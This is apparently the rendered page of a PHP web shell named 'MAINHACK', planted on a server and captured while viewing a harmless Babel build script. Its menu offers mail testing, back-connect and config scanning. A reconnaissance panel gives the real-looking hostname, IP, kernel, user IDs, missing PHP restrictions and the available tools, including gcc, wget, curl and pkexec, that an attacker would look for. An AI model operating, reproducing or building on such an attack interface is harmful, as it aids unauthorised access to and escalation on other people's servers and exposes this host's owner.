[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: generate-helpers.js
import fs from "fs"; import { join } from "path"; import { URL, fileURLToPath } from "url"; import { minify } from "terser"; // eslint-disable-line const HELPERS_FOLDER = new URL("../src/helpers", import.meta.url); const IGNORED_FILES = new Set(["package.json"]); export default async function generateHelpers() { let output = `/* * This file is auto-generated! Do not modify it directly. * To re-generate run 'yarn gulp generate-runtime-helpers' */ import template from "@babel/template"; function helper(minVersion, source) { return Object.freeze({ minVersion, ast: () => template.program.ast(source), }) } export default Object.freeze({ `; for (const file of (await fs.promises.readdir(HELPERS_FOLDER)).sort()) { if (IGNORED_FILES.has(file)) continue; if (file.startsWith(".")) continue; // ignore e.g. vim swap files const [helperName] = file.split("."); const filePath = join(fileURLToPath(HELPERS_FOLDER), file); if (!file.endsWith(".js")) { console.error("ignoring", filePath); continue; } const fileContents = await fs.promises.readFile(filePath, "utf8"); const minVersionMatch = fileContents.match( /^\s*\/\*\s*@minVersion\s+(?<minVersion>\S+)\s*\*\/\s*$/m ); if (!minVersionMatch) { throw new Error(`@minVersion number missing in ${filePath}`); } const { minVersion } = minVersionMatch.groups; const source = await minify(fileContents, { mangle: false, // The _typeof helper has a custom directive that we must keep compress: { directives: false }, }); output += `\ ${JSON.stringify(helperName)}: helper( ${JSON.stringify(minVersion)}, ${JSON.stringify(source.code)}, ), `; } output += "});"; return output; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002